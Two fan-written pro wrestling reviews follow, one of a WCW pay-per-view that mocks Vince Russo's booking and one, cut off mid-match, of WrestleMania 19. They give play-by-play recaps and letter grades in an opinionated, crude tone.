Tag Titles: Misfits and Action vs. Mark Jindrak/Sean O’Haire vs. Perfect Event vs. Kronik

The Filthy Animals are all referees here so we have four referees and 8 wrestlers, plus Konnan on commentary. Rey and Juvy have the tag title belts here. Perfect Event is Stasiak and Palumbo. Kronik are the actual champions coming into this. Something tells me this is going to be horrible. MIA is Hugh Morrus and Corporal Cajun (Lash Leroux). Disco grabs a mic and says he’s the in ring referee and the other guys and Tygress are enforces. If they touch Disco or any of the others they’ll be suspended I guess.

The referees were added like 30 minutes ago so it’s not like this was advertised. I think I know why. One fall to a finish here. Adams and Palumbo start us off. Konnan at least is funny. Stasiak goes to the floor and the “referees” beat him up. Leroux vs. Jimdrak at the moment as Konnan makes incest jokes. The wrestling is ok but at the same time there are FAR too many people in there at once. The fans chant ECW for some reason.

O’Haire kicks the heck out of Clark’s head and it looks great. He was talented for sure. The referees do Bronco Busters on Morrus. End this NOW. This match is such a joke that it’s painful to watch. What’s annoying is that if you made this a regular tag match it could have been pretty decent. Disco counts slowly for Cajun. He does the same for Stasiak. It’s weird to think that three of these guys worked for WrestleZone for awhile.

Everybody, including the referees beat up on Morrus. Stasiak hits a NICE jumping back elbow. This is just a total mess again as we get a Tommy Young reference. Sean hits a PERFECT Swanton. Palumbo is set in High Time but Muta and Vampiro run out to give us FOURTEEN PEOPLE in this thing.

Apparently everyone else got bored as it’s just Kronik and Palumbo in the ring. Disco won’t count the three off a pumphandle slam. Chavo Guerrero runs down and steals the referee’s shirt and counts the pin as the sixteenth person involved in this match (8 wrestlers, 5 filthy animals, Chavo, Vampiro, Muta). Konnan is ticked that they have to fight Kronik the next night.

Rating: F. A tournament has 16 people, not a single match. I don’t think anything else needs to be said here. Also, why did Chavo count the pin for Kronik when members of his own stable are in this match?

Jarrett, in a lime green shirt, says he wants to know if Pamela Paulshock (freaking HOT) is there because Gene is worn out from last night. This was pointless.

Shane Douglas vs. Billy Kidman

This is a strap match. Naturally we talk about the three way dance off the Jarrett interview. Torrie is with Shane here so I’d bet on a swerve. Yes Shane Douglas was getting pushed in 2000. There was allegedly a Kidman/Torrie sex tape which set this up. This is just pinfall so there’s some sanity here. Shane had issues with performance if you get what I mean. Torrie turned on Kidman at BATB, the previous PPV.

Neither guy is in wrestling attire here and why should they be? This isn’t wrestling according to Tony so that explains everything. The guys try to insinuate Torrie is fat. They can’t even get basic vision right. Torrie keeps distracting Kidman and it I can’t say I blame him. She’s the most interesting thing going on in this. Shane does a very dangerous move and with Kidman on his stomach he gets a running start and grabs Kidman’s head and snaps his neck back. Freaking OW man.

We’re in a strap match and Shane is working on the arm. Kidman hits a nice rana and the strap is completely pointless here. The strap is WAY too long and they really can’t do that much. Shane gets his balls strapped. Torrie blasts Shane in the head with her shoe for a two. Is there a point to foreign objects if they don’t get a pin? Torrie just walks into the ring to turn over a small package which means nothing. Kidman hits an Unprettier for the pin.

Torrie gets a spanking post match. Shane hangs Kidman for it and Vito makes the save. Now why couldn’t they get fired for this like Danielson did? Reno comes down and beats down Vito. He never meant much but I think they wound up being partners. Vito beats him up.

Rating: F+. Not bad I guess, but for a strap match this was horrible. If this had been a regular match it would have been ok but when you throw something like this in for the sake of having a stipulation it doesn’t work at all. This is one of those instances and the hanging thing is just stupid to top it off.

Booker is here, an hour and 15 minutes into the show. Jarrett jumps him and slams his knee in the car door a bunch of times. His knee was already hurt.

Major Guns vs. Ms. Hancock

This is the ROTC match. Oh and there’s a mud pit. Guns’ music starts when she’s already in the ring. Stacey in a one piece camouflage dress with her hair pulled back…WOW. She was 20 at this point so brand new. They do some painfully bad stuff here and Guns kicks her in the stomach. Remember that. In a Rip off the Camouflage match, there are covers. Guns gets her top ripped off and Stacey (It’s Stacey Keibler in case that wasn’t sinking in. She’s Ms. Hancock) gets two.

This is mainly about how many upskirt shots can we get. Stacey gets her shorts ripped off and has more camo underneath it. Stacey shakes her hips and hits a horrible cross body from the middle rope. She does a nice nip up but gets kicked in the stomach again. The selling of these people is a far cry from Willy Lowman. Stacey misses another cross body and holds her stomach.

Guns gets her shorts ripped off to reveal more camouflage. Same thing happens to Stacey’s top. And they’re in the mud. Doesn’t that make it harder to see? Stacey starts holding her stomach and gets pinned. David Flair, Stacey’s fiancé, runs out and is worried about her. We get a stretcher and you can see it from here.

Rating: F. Yeah the girls were hot. The ending makes this all the stupider, and we’ll get to that in a bit. This was a freaking joke. When Debra is having better “matches” than you are, there’s a big problem.

The Dark Carnival (Vampiro, Muta and the KISS Demon) say they’ll finish Sting tonight.

Tony “breaks character” and insists this isn’t part of the show and is completely real. Of course they have a camera on her which would likely be a violation of privacy rights of some sort. And yes, they imply she was pregnant like I was afraid of. Yeah, I’m sure that THIS shoot is real among all the other fake shoots.

The Demon vs. Sting

I believe I ran through the Demon character last time, but in short he was supposed to be part of a cross-promotional thing with KISS and that went nowhere so they just made him into the Demon instead of the KISS Demon. Sting repels from the ceiling and is back on PPV, despite being on the previous PPV. Quick brawl in the aisle, quick brawl around ring side, Stinger Splash and Death Drop ends this in less than a minute.

Vampiro and Muta come out to beat up Sting and try to hang him. Two hangings in one night. That’s not bad. Kronik makes the save and they beat the Dark Carnival in the ring as the fans boo the heck out of this. Sting just leaves without even thanking the saviors. Brian Adams (Crush) gets on the mic and challenges Muta and Vampiro to a tag title match while being the champions. Just hand the Carnival guys the belts now.

Booker gets his knee looked at and throws the camera out.

US Title: Mike Awesome vs. Lance Storm

Let’s see here. This is in Canada so Storm is the hero. He’s the US, Hardcore and Cruiserweight Champion at this point but would give away two of them soon. Now the cool entrance is about the end of the cool aspects of this match. The US Title is the Canadian Title, the Hardcore Title is the Saskatchewan Hardcore International Title (Get it?) and the 100kg and Under Title.

Storm cuts a short promo and might as well be the second coming. Both of these guys left ECW earlier this year. Storm got this, Awesome got the gimmick of That 70s Guy and the Fat Chick Thriller and never won a title in WCW. Storm was just absolutely awesome at this point and this is his big reward for it.

Part of the gimmick Storm had his own rule book and had his own rules. He invokes one of them and says there’s going to be a special referee. We immediately eliminate the chance of it being Bret Hart since a HUGE Bret chant breaks out. It’s Jacques Rougeau, as in The Mountie. We get the Canadian National Anthem and Storm could more or less murder a thousand babies and still get cheered at this point.

There’s a Juggalo here for no apparent reason. Rougeau is the outside referee and there are two titles held up. Pay no attention to whatever the other one is as it’s not mentioned. Awesome dominates early on, hitting a leg drop as a tribute to his far more famous uncle, Hulk Hogan (How many of you knew that one? Awesome’s aunt is married to Hogan’s brother so they’re like step uncle and step nephew or whatever but screw all the technicalities).

We hit the floor and it’s table time. Well they are from ECW to be fair. Madden: “This isn’t wrestling!” Tony: “Of course it’s not!” I still want to know how much annoyance there was in Tony’s statement there. Awesome goes up top and just slips off. Well it happens to everyone I guess. Awesome hits a SWEET Liger Bomb to more or less end Storm.

Then I’m not sure what happens as there’s a three count but Storm gets his arm up at more or less the exact same time. I’m legit not sure if Storm was supposed to kick out there and just didn’t get up in time or if this was part of the upcoming angle. Given the idiocy of this show and the skill of Storm, we’ll say it was intentional. Johnson raises Awesome’s hand to have the crowd on the verge of rioting.

HOWEVER, according to Canadian Rules, you have to get a 5 count to win a title. Awesome gets an Alabama Slam for three and then hooks a Dragon Sleeper. Storm taps out to lose the title again. Oh you know what’s coming. This time it’s you can’t win by submission. Storm gets two off a suplex as we start one more time. The crowd has gone from white hot to DEAD by the way as they’ve seen Storm get pinned and tap in like 6 minutes.

Awesome gets a five count off a Frog Splash and I can’t believe what I’m watching. Storm has a ten count to get up after the original five count. So the US Champion has now lost three times in about ten minutes perfectly clean and they’ve killed one of the hottest crowds I can remember in WCW’s history. The table is in the ring and Awesome clearly slips on the same corner (maybe they should be cleaned guys?) and they both crash through a table.

Rougeau says first man up gets the title and he punches Awesome in the jaw to make sure Storm looks inept. The crowd pops fairly well and just to absolutely cap off the idiocy, BRET HART IS HERE. You know, the guy the crowd was BEGGING for? So let me get this straight.

WCW was too STUPID to get that in Canada, where Bret is pretty much the biggest athlete that isn’t a hockey player in the history of the country (apparently there was a poll done in 2004 where the Greatest Canadians, as in any Canadian ever and not just athletes were ranked. Bret was #39) and where they had him under contract, that instead of using HIM, they paid the Mountie to come in and get the paycheck for the refereeing job while the fans chanted for BRET. This company deserved to go out of business. The Canadians all hug.

Rating: F-. Seriously, was this supposed to be good or something? Am I supposed to be entertained here? I know Russo doesn’t like titles, but if you’re going to kill them at least do it in America where you go more than once. This was just completely idiotic and one of the dumbest things I’ve ever seen.

Nash says he expected Goldberg to not be here. And yes, another shoot angle is upon us.

Tag Titles: Kronik vs. Dark Carnival

You know there’s going to be a screwjob. You just know it. Tony points out that this wasn’t promoted or anything, thereby showing how freaking stupid this was. Also Kronik looks stupid by putting the belts up here and knowing that there’s a title match the next night on Nitro. What was the appeal of Vampiro? I liked him when I was 12 but now I just don’t get it.

Muta stands in the middle of the apron for a bit for no apparent reason. The challengers kick a lot. Yeah I’m stunned too. Muta’s handspring elbow gets caught in a full nelson slam. Tony is just picking the thinking of this show apart by just doing basic commentary. Madden makes pot jokes as I wonder what the point was to having then do a weird kind of stoner thing.

Vampiro gets cheered and he tries to calm them down, making them cheer more. Crowd is fairly dead here. Clark gets the lukewarm tag and hits the Meltdown on Vampiro. There’s the mist to the referee of course and let’s cue the run-in. Muta almost take High Time….and it’s the Harris Brothers. Oh this doesn’t go well. They hit their move on Clark and a moonsault ends it. They would lose to the Filthy Animals the next night.

Rating: F+. Somehow this was a breath of fresh air for the show. They actually had about 8 minutes of horrible wrestling before the screwjob ending. The match being awful as an upgrade is a sign that sums up this entire show and era. Let’s just get to the end of this.

Booker says his catchphrase.

We recap Nash vs. Steiner vs. Goldberg. Goldberg and Nash are together. Well they were at the PPV. They’ve since split up since then.

Goldberg vs. Scott Steiner vs. Kevin Nash

This is for the #1 contender spot. They keep using the term go over. Oh dear. There’s no Goldberg to start us off and I’ll explain later on. They keep dropping hints about Steiner won’t do the planned finish and all that nonsense. More shoot comments from the guys. Steiner not being professional? Say it isn’t so! Goldberg’s music plays twice and he isn’t here.

We start one on one and Tony suggest we watch this match. Sadly, that might drive up viewership. And here’s Goldberg with his ribs taped up. He beats on Nash and gets blasted in the back of the head by Steiner. Nash stays on the floor and Goldberg beats up Steiner. Nash gets up and trips over the top rope. This has stopped being funny a LONG time ago so that gets nothing out of me.

Hudson: “Starrcade 98. Nash gets on the booking committee two weeks before the show. He goes over.” I hate this company at times. Not even Heyman got this stupid. In a moment that does make me laugh, Steiner covers Nash and yells at the referee to count and when he’s told it’s just two, he snaps off YOU SUCK to the referee. That’s just funny. Nash stands tall for a bit and the fans aren’t sure if this is good or not.

The straps go down, Nash sets Goldberg for the powerbomb, he shoves him off, Nash calls him a very bad name, Goldberg walks out, Russo meets Goldberg in the aisle, Goldberg asks what the heck are you going to do about it and he leaves. And here we go. The commentators start talking about how this wasn’t the planned finish and how Nash was professional like always and that Steiner and Nash will have to plan a new finish.

Tony suggests they might have to, and I wish I was making this up, IMPROVISE. Yes, Tony Schiavone has just admitted on international TV that every single match that he has hyped over the years as being this big showdown has had a planned ending that everyone in the match knew about beforehand.

Where in the world do I start?

Now for those of you in the 99% of the fans that have no clue what the idea was here, in Goldberg’s last match which had been 13 days earlier on Nitro, he lost to Steiner. The idea here is that Goldberg, as in the “real guy” and not the character (as in the real guy playing the character Goldberg, not the REAL Goldberg. In other words, we have Bill Goldberg playing Bill Goldberg playing a wrestler. Does that make sense?), thought it would be detrimental to his character to lose twice in a row so he’s walking out of the match for what would likely be called creative differences.

Basically, Vince Russo just tried to kill kayfabe. Forever in wrestling, the idea has been everyone knows it’s fake but you’re not supposed to tell anyone. In the book The Death of WCW (well worth checking out if this kind of stuff interests you), one of the authors puts it something like this (paraphrased): it’s like going to a movie. You know that nothing on the screen is real, but you get sucked into it if it’s good. For some reason, Russo thought that it was a GREAT idea to have everyone in the movie acknowledge that they’re in a movie. See what’s going on here?

Naturally, just like Bash at the Beach, this BOMBED. Why did it bomb you ask? Two reasons. First of all, NO ONE KNEW WHAT WAS GOING ON. Second, even fewer people cared about it. They were told they were going to see Nash vs. Goldberg vs. Steiner. Ok so not a lot of people really wanted to see it, but that was the advertised match.

What Russo never got was that there were actually people out there that WANTED TO WATCH WRESTLING. Would the match have been good? Not likely. Would many people have bought the PPV to see it? Not likely. But the thing is, the ones that DID pay to see it got ripped off because they didn’t get what they paid to see.

This is why I get annoyed when PPV matches are put on TV like the next week after a PPV: there were fans out there that paid to see a match, hence the term PAY per VIEW. You want to see this match? Give us the price we ask and you can see it. You give them the money, you see the match and the people that didn’t pay don’t get to see it.

Then it’s aired on free TV. It’s a massive SCREW YOU to the people that bought the show. If I buy a PPV to see Cena vs. Orton and then the next night Cena vs. Orton is on Raw, why should I pay for the next PPV? I got to see the main event for free the next day. Why should I pay for some I can get for free if I wait a little bit?

That’s what Russo kept doing: screwing the fans over and they just gave up. The few fans WCW actually had just stopped watching and Russo blamed them for not getting what he was doing. I had to use a book to get a lot of what was really going on here, so apparently I’m too stupid to get it too.

Oh yeah we have a match to finish here. Midajah has come down to low blow Nash, which at least makes sense given that Nash beat her up recently. Nash uses a DDT of all things. Hokey smoke. We’re reminded that this is all on the fly. Nash hits the big boot and the powerbomb as we’re told about how professional Steiner was there. Get me away from this. Goldberg would be back the next night of course.

Rating: N/A. There isn’t a rating low enough for this and what Russo just HAD to do so I won’t try to give it one. This would have been damaging to pro wrestling if anyone had actually watched this show.

Tony hypes up the world tag team title match as we go to a video on Jarrett vs. Booker.

WCW World Title: Booker T vs. Jeff Jarrett

This actually has the potential to be good, which is what was most frustrating about WCW at this time: given what they had, they could have been a decent show most of the time. Madden says Booker needs to take a walk down Slap Nuts Boulevard. Well at least they’re not hiding the ripping off anymore. Hudson forgets the number of title runs Jarrett has had, going from 3 to 4 while he’s still in the aisle.

And remember: this match is REAL, not scripted like the previous one. Yeah we’re just supposed to forget that whole thing. Tony suggests that Booker go for a quick win. I guess he wants to get out of here too. Booker’s knee which was bad coming into the show and injured earlier, seems just fine here. Ok he started limping a bit. That’s acceptable.

Booker crotches him on the post twice but misses the Missile Dropkick to let Jarrett take over. Now did he really miss or was that scripted? Hudson suggests it’s against the rules to go for the bad knee. Jarrett goes after the knee and cracks it with a chair. They more or less had gotten rid of DQs at this point. Jarrett switches legs which is bearable I guess as it’s still hurting Booker.

This is a very basically booked match and it’s working very well. Ok maybe very well is a stretch but it’s a good match. What a shock: let two talented guys have an uninterrupted match with a simple storyline like the champion has a bad leg and it’s good. The Axe Kick hits and down goes the referee. Jarrett goes for the guitar but Booker goes for the side kick. They meet in the middle and the guitar slams over his knee.

The figure four goes on (TO THE CORRECT LEG TOO!) and Booker is in trouble. The referee just doesn’t see the pieces of the guitar all over the ring I guess. After being in the hold over a minute and a half he gets the bottom rope and my goodness we’re having an entertaining match! The referee goes down again and Booker hits the Book End through a table. By the I mean he more or less chokeslams him and doesn’t go down with him but the thought is there.

Jarrett gets a low blow and down goes the second referee to a chair shot. Booker takes the Stroke onto the open chair. It’s a third referee that has no problem with what’s been going on or maybe he wasn’t watching like most people. Booker gets what was supposed to be a swinging neckbreaker on the chair but it’s more like a Twist of Fate. Booker’s knee is better apparently and hits the Book End to win it. The fans throw garbage into the ring and I can’t blame them a bit.

Rating: C+. Well it wasn’t terrible I guess. This was a pretty decent main event match but it just doesn’t have a big spark to it at all. It’s easily the second best match tonight though after the good opener, but this wasn’t anything great. The problem these guys had was that the crowd would have been unimpressed by Flair vs. Steamboat at this point. It may not be fair but it’s reality and while the match was good it wasn’t well received. Still certainly watchable though.

Overall Rating: F. Do I really need to explain this one? There are two decent matches on here. Other than that, this show is an abomination. See, today we have the benefit of time to look back on this. Put yourself in the place of fans from back then. This was the monthly PPV offering from one of the major PPV companies. You had to pay 30 dollars to see this show.

Can you imagine if TNA or WWE aired something like this today? The buyrates and ratings fell through the floor around this time. The fans simply did not want to see what WCW was offering, but WCW kept right on doing it, which is why they’re not around today. Granted Rock vs. HHH having the feud of a lifetime and Taker and Austin both returning didn’t help them that much. Anyway, this is the epitome of Russo’s awfulness, but it’s worth watching for the comedy value as long as you don’t take it seriously.

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Wrestlemania Count-Up – #19: Fix The Card Order And It’s A Classic

Wrestlemania 19
Date: March 30, 2003
Location: Safeco Field, Seattle, Washington
Attendance: 54,097
Commentators: Jim Ross, Jerry Lawler, Michael Cole, Tazz
America The Beautiful: Ashanti

This show gets a lot of praise around here and I’m not entirely sure why. I’ve never been that enthralled by it, but maybe it needs another viewing. Your main event here is Kurt vs. Brock, which is simply due to Brock winning the Rumble and a solid build as you’re not really sure who the better man is. Brock is just past one year on television at this point and is going for his second world title.

To say he was dominant is an understatement. The real main event though is Hulk vs. Vince in a no holds barred match. It’s another instance of not putting the real main event on last, which is a shame as it got most of the buildup. Your midcard special is Jericho vs. Shawn in what was excellently built up as well.

We also get the third match in the Austin/Rock saga, which while still a big match, simply doesn’t have the big fire in it this time around. It turns out to be Austin’s last match as a regular. More or less that’s what holds this show back: the hype. The buildup was as good as any I’ve ever seen, but it wasn’t a mind blowing show. Let’s get to it.

Well done “it’s our World Series” package that never gets old, following Ashanti singing America the Beautiful which has been missed by me. The first problem with this show is simple: the theme song. Crack Addict by Limp Biskit. I never could figure out why they wouldn’t say the name of the song on television, but then it made sense. Make your own PG jokes.

Cruiserweight Title: Matt Hardy vs. Rey Mysterio

Mysterio is dressed as Daredevil as he beging his tradition of being a superhero at Mania. Matt is in the middle of what was always one of my favorite stupid gimmicks: Mattitude V1.0. This involves him having fun facts pop up on screen during his entrance which is made to look like he’s on a website. Today’s Mattitude Facts: Matt is appearing in his 4th Wrestlemania and Matt often wonders how they did Wrestlemania without him.

He’s also desperately trying to stay at the Cruiserweight limit of 220lbs, often with comical results. Matt is accompanied by Mattitude Follower (MFer) Shannon Moore. Hardy used Disco Inferno method of Cruiserweight wrestling: Wrestle like a heavyweight and hope it works out for the best. Moore distracts Rey to start but Matt gets backdropped to the floor. Blast you little MFer.

Head scissors and a spinwheel kick put Matt down and set up an attempt at a sunset bomb to the floor. Shannon makes the save and allows Matt to take over. Shannon’s people are called Morons. Taz and Cole make bad jokes about how Matt got his weight down using terms like banana juice, teabag and BJ. You figure the rest out for yourself.

Matt locks in a bow and arrow to keep Rey on the mat for awhile. A corner charge misses though and Matt goes into the post. Seated Senton gets two for Rey and we speed things up a bit more. Shannon breaks up the 619 and there’s the Twist of Fate for two. The foul poles in the background take a bit of getting used to.

Matt tries Splash Mountain from the bottom rope but Rey reverses into a rana for two. 619 hits and it’s West Coast Pop time. Matt ducks so Rey settles for a victory roll. Hardy ducks into it ala Owen at Mania X and grabs the rope to get the win. That was abrupt to say the least.

Rating: C-. Not a fan of the ending at all. This was getting good and they cut the legs out from under it after less than six minutes. I get why they had to do that as a lot of the matches are long but the pacing of the match could have been a lot better to make that ending not seem so abrupt and not to make this seem like a TV match. Still decent though.

Time for our first bad celebrities as the Miller Light Cat Fight girls show up. They’re two hot chicks that fight over beer. Their limo couldn’t be tackier as it’s a long black limo with a sign on the door saying Catfight Girls. It just doesn’t look good at all. The dumb arguments start already.

We get a clip from earlier with Nathan Jones, Undertaker’s tag partner for later, being laid out by A-Train and Big Show. This would be due to the fact that the company thought he wasn’t capable of being on live PPV with his skills at the time. Shouldn’t they have noticed this before Wrestlemania Sunday?

Limp Bizkit performs Rollin live to play us to this.

Undertaker vs. Big Show/A-Train

This is Taker vs. Big Show for the 10th time or so. A-Train is there for no apparent reason other than to make us think Taker might have some issues here. Fred Durst does not belong in the ring at Wrestlemania with Undertaker, period. This is officially a handicap match now. A-Train spits on Taker’s bike to distract him so Show can jump him. This of course fails and A-Train takes a chokeslam for two as Show saves.

Taker hammers away at both guys and makes sure to stay out of the corner. This was part of the A-Train’s push which I never quite understood but they were trying at least. Taker busts out a leap frog of all things and there’s Old School to A-Train. Derailer (Chokebomb) hits Taker but of course he doesn’t cover. Instead he sends Taker to the floor so Show can ram him into the post.

There’s a flag on Undertaker’s bike which is due to his nephew serving in Iraq who the match has been dedicated to. Show comes in and they slug it out a bit. Taker really likes to punch doesn’t he? Show’s chokeslam is countered into a Fujiwara armbar and then into a cross armbreaker to A-Train. Show drops a leg to break that up and rams some headbutts in.

Abdominal stretch goes on after all the head and neck work. I guess Show is working on the ribs now. A-Train comes in now and stomps away before putting on an abdominal stretch of his own. Taker reverses into one of his own and that’s about the extent of his offensive run as it’s back to the beating again. Train slaps him in the face because he’s not that intelligent.

Naturally Taker makes the comeback and hits a running DDT for two as Show makes the save. Show is sent to the apron by the referee so Taker hits him anyway. Here’s the comeback and the monsters are in trouble. Big clothesline takes down Show. And never mind as a bicycle kick takes his head off. Chokeslam to Taker and here comes Nathan Jones. He kicks Show in the aisle to take him down (shouldn’t that be a DQ?) and hits the ring. Big boot to A-Train and the Tombstone ends this.

Rating: D. Can someone explain to me why this got ten minutes almost and the previous match couldn’t even get six? Not much of a match and far too long for its own good. Taker was never going to lose and everyone knew it, yet they let it go off even longer which didn’t help at all. Jones was gone soon after this I believe.

Catfight girls run into the much hotter Torrie and Stacy.

We get a recap of the pointless Raw tag title match from Heat that leads nowhere. That was on Heat and the Cat Fight girls were on here. That’s life I guess.

Women’s Title: Trish Stratus vs. Jazz vs. Victoria

Jazz still isn’t cared for at all. As usual Trish looks great and gets the confetti for her entrance. Yeah, no guesses as to who is going over here. Victoria is champion coming into this and is in her total psycho phase here with the awesome T.A.T.U. theme music. I’ve always loved this character and throwing in that I always thought Victoria was mind blowingly hot isn’t hurting anything here.

Ross says that Jazz has a Mike Tyson like attitude. Lawler says it’s a Mike Tyson like look. Victoria has Steven Richards with her for no apparent reason. Jazz jumps both of them quickly and sends Victoria to the floor. She grabs a front facelock and flips forward to bend Trish in half with a facelock. Trish gets a Thesz Press and poses a lot. Victoria pulls her to the floor and we brawl out there for a bit.

Jazz vs. Trish in the ring at the moment with the less attractive one in control. Double shoulder breaker to Trish so it’s Victoria vs. Jazz now. Love that backless outfit on Victoria. Lawler says Trish is like a quarter among pennies. What the heck does that even mean? Match is kind of a mess so far but it’s not horrible. Powerslam by Jazz gets two on Trish.

The heels go at it again which Trish takes advantage of, ramming their heads together to take over. Big spin kick by Jazz misses and Trish gets a rollup for two. Chick Kick gets two. Trish kicks Victoria to the floor as Jazz shouts a lot. Half crab goes on and into an STF to Trish by Jazz. Stevie intercepts Trish’s tap out so Victoria isn’t out.

Trish gets a rollup of Victoria and we get a nice back shot as Trish pulls the tights. Double chickenwing by Jazz to the blonde but Victoria takes Jazz down. Moonsault misses though, but Victoria still sends het to the floor. Stevie accidentally hits himself with a chair and takes a Stratusfaction for being an idiot. Chick Kick to Victoria gives Trish the title.

Rating: D+. This was just your standard Women’s Title match and nothing more. They’ve been the same for years and this was no different. Trish gets the title back for a token title change and would likely hold it for a very long time. Yeah that’s all I’ve got. Oh and Victoria has a nice figure.

Rock is bitter about being booed last year against Hogan and has turned his back on the people. He’s obsessed with beating Austin in a big match, which I don’t think he ever has. This takes way longer than it should have.

Smackdown Tag Titles: Los Guerreros vs. Team Angle vs. Rhyno/Chris Benoit

First fall wins it here as I continue to be amazed by how well Eddie suited his gimmick. While he’s not as great as he’s given credit for, he certainly was good. Team Angle is Charlie Hass and Shelton Benjamin by the way. Hass was supposed to be the breakout star at first but obviously after about two matches we knew that wasn’t going to happen. This is more of what we’ve seen all night long: a match that’s good enough to be a decent TV main event, but not WM worthy. No point here other than for the titles to be on the line.

Team Angle has the titles here. Benoit had a masterpiece with Angle at the Rumble but since a guy that was ridiculously popular and great in the ring clearly had no business feuding with HHH on Raw for the title (I mean we had SCOTT STEINER to do that) he was shoved into this pointless tag team and wasted most of 03 until he got so popular that he went to Raw the next year after winning the Rumble.

Big brawl to start as the referee tries to settle things down a bit. Chavo and Haas finally get us started. Haas tags out to Benoit and it’s Benoit vs. Eddie now. This works for me. To the shock of no one they hammer away on each other with neither guy being able to maintain an advantage. They ram heads which allows Rhyno to be brought in.

Powerslam to Eddie gets two. Benjamin comes in for the first time and works on the neck of Rhyno. Chavo breaks up a pin attempt as this is just ok. It’s like any match that could have been on Smackdown yet it’s here on Wrestlemania. Benoit suplexes Haas for two. We’re off to Rhyno vs. Benjamin now. They’re tagging in and out quickly but it’s kind of keeping anything from getting started. It’s been a random assortment of one on one matches so far. Nothing bad but nothing that interesting.

Eddie dropkicks Rhyno to take over and it’s off to Benoit vs. Guerrero again. Guerrero gets a belly to back and sets for the Frog Splash but gets caught in a superplex for two as Shelton saves. Benoit fires Eddie into the air for a flapjack and pulls him down into the Crossface in an awesome looking move. Haas breaks it up seconds later and then just leaves so the two masters can go at it some more.

Chavo comes in and cleans a lot of house. His name being Guerrero kind of hurts him as he’s always in Eddie’s shadow. Rolling Germans to Chavo but Chavo makes a blind tag to Shelton. Superkick to Benoit gets two. Eddie vs. Shelton at the moment so Shelton covers Benoit. Frog Splash breaks up the pin though so it’s off to Chavo vs. Haas. Haas suplexes him and gets Gored. Gore to Chavo and Benjamin steals the pin to retain the titles.

Rating: C+. It was getting a lot better at the end when they dropped the tagging stuff but this was a match that could have been on any Smackdown for the most part. It’s good and definitely the best match of the night so far. Still though, not much here but good stuff for what it was.

Torrie and Stacy argue with the Catfight girls over who made Mania, Hulk or Vince. This isn’t sexy or interesting, it’s just annoying at this point as the Catfight girls read from a script. Apparently this argument is going to be settled “in bed”. Lord help us all. One of them keeps saying Holgan instead of Hogan.

From this thing on, everything is nearly 18 minutes long.

We recap Jericho vs. Shawn. Shawn came back and won the world title. Jericho ran his mouth so Jericho got kicked in the face. He eliminated Shawn from the Rumble and vice versa. Shawn was his inspiration apparently and wanted a match at Mania. Jericho was walking through the curtain one night and something kicked him in the face. Shawn came out and posed over him, saying he’d see him at Wrestlemania. Jericho was evil here, putting Stacy in the Walls of Jericho and drilling Shawn with chairs.

Chris Jericho vs. Shawn Michaels

Shawn brings a confetti gun with him. Oh ok he has them throughout the entrance to fire his own pyro. Cute kind of. Shawn gets pyro that goes around the back of the stadium when he does his in ring pose. That’s pretty cool. The fans are into Shawn of course as they have some mat stuff going on to start us off. Shawn lays on the top rope which is something I always found funny.

Headlock takes Jericho to the mat and out he goes to the floor. Shawn teases a plancha but Jericho sees it coming. Shawn stops and goes with a baseball slide instead. Back in a cross body gets two for Jericho as he rolls through Shawn’s move. Jericho hammers away but can’t get the bulldog. Shawn busts out a figure four and Jericho is in trouble.

After that doesn’t last long a headscissors puts Jericho on the floor, allowing Shawn to hit his plancha. Jericho counters and locks on the Walls on the floor. Shawn’s back goes into the post and HBK is in trouble. Jericho gets another dropkick to keep Shawn on the floor. Shawn’s back is the target now and it’s all Jericho. The cocky pin doesn’t work so we go to the chinlock.

Shawn reverses a suplex into a DDT but he can’t get up. Once he finally does, Jericho adds a forearm and the Nip Up. Shawn Nips Up also and then does it again. There’s the moonsault press for a long two. We get the always classic pinfall reversal sequence, resulting in a Walls attempt but Shawn kicks him off instead.

Northern Lights Suplex gets two for Jericho but Shawn bridges up for a backslide. Jericho reverses that and takes Shawn does to retain control. Lionsault gets two and Shawn starts his comeback. Rana misses though and it’s into the Walls for Shawn. Shawn makes the rope but his back is destroyed. Backbreaker sets up a top rope back elbow for no cover.

Instead Jericho Tunes up the Band. A fairly awesome Sweet Chin Music puts Shawn down for two and Jericho isn’t sure what to do next. Shawn gets a cross body out of the corner and some rights to buy himself some time. Shawn teases the Walls of Jericho but goes with a slingshot instead, sending Jericho into the post. Jericho tries a belly to back off the top but Shawn spins over into a cross body for a long two.

Shawn goes up and gets crotched via the referee being sent into the rope. Superplex is blocked though as Shawn shoves him off and there’s the elbow. Time to Tune up the Band again but the kick misses and it’s into the Walls again. A rope is grabbed and Jericho tries to beg to the referee. Chris walks into Sweet Chin Music though and down he goes but Shawn can’t cover. Both guys are back up and Jericho sends him into the corner. Shawn flips over and gets his feet under Jericho’s shoulders, rolling him backwards to end this finally.

Rating: A-. Definitely a great match, but not an all time classic. HBK shows he still can go at Mania and Jericho has one of the best matches of his life here as he’s totally into this. The only thing missing was the superkick to end it for Shawn, but this might have been better, not sure yet.

Jericho kicks Shawn in the balls post match, cranking his heel rating up by about 10.
Last month at no Way Out the show was in Montreal, there was a French ref that screwed Hogan out of the rematch with the Rock by helping Vince. He heads into Vince’s locker room.

Goldberg debuts at Backlash. That may have been the biggest flop in company history. It turns out he fought Rock in Rock’s last match before he left to make another movie, thereby more or less ending his time as an active wrestler.

New attendance record of over 54,000. Impressive again.

Limp Biskit performs AGAIN, and somehow the people couldn’t care less than they did the first time. This goes on 5 minutes.

Torrie’s Playboy came out two days later. We see clips of a news conference. We get the Catfight between the Catfight Girls and Torrie/Stacy. Coach gets stripped down to his underwear, as do the rest of the girls. Not a real match, not an interesting segment. The only thing good about this is Stacy’s Legs music which I always liked.

Time to talk about the Raw World title. This show has been on for nearly two hours and this literally hasn’t been mentioned until now. There hasn’t been a graphic, there hasn’t been hype, there hasn’t been an interview. If that’s not proof that the title matches aren’t the biggest on the card, I don’t know what is.

The idea here is that they’re playing up Booker’s hard life growing up vs. HHH’s privileged lifestyle. Booker pinned him on Raw in a tag match. Nothing about this match screams Mania at all. Unforgiven or Judgement Day maybe, but not Wrestlemania.

Raw World Title: Booker T vs. HHH

Oh and Booker pinned HHH on Raw this past week. I forgot about that but it’s not like it’s going to matter. HHH has the purple tights on here too. Poor Booker. He actually thinks he has a chance here. We hear about his hard life and how he worked his way up to become a 5 time WCW Champion. Jerry: HHH told us how much of a joke that place was. Ross: I worked in WCW. You didn’t. How would you know it was a joke? Jerry: Was it a joke? Ross: Dang right it was! Too funny.

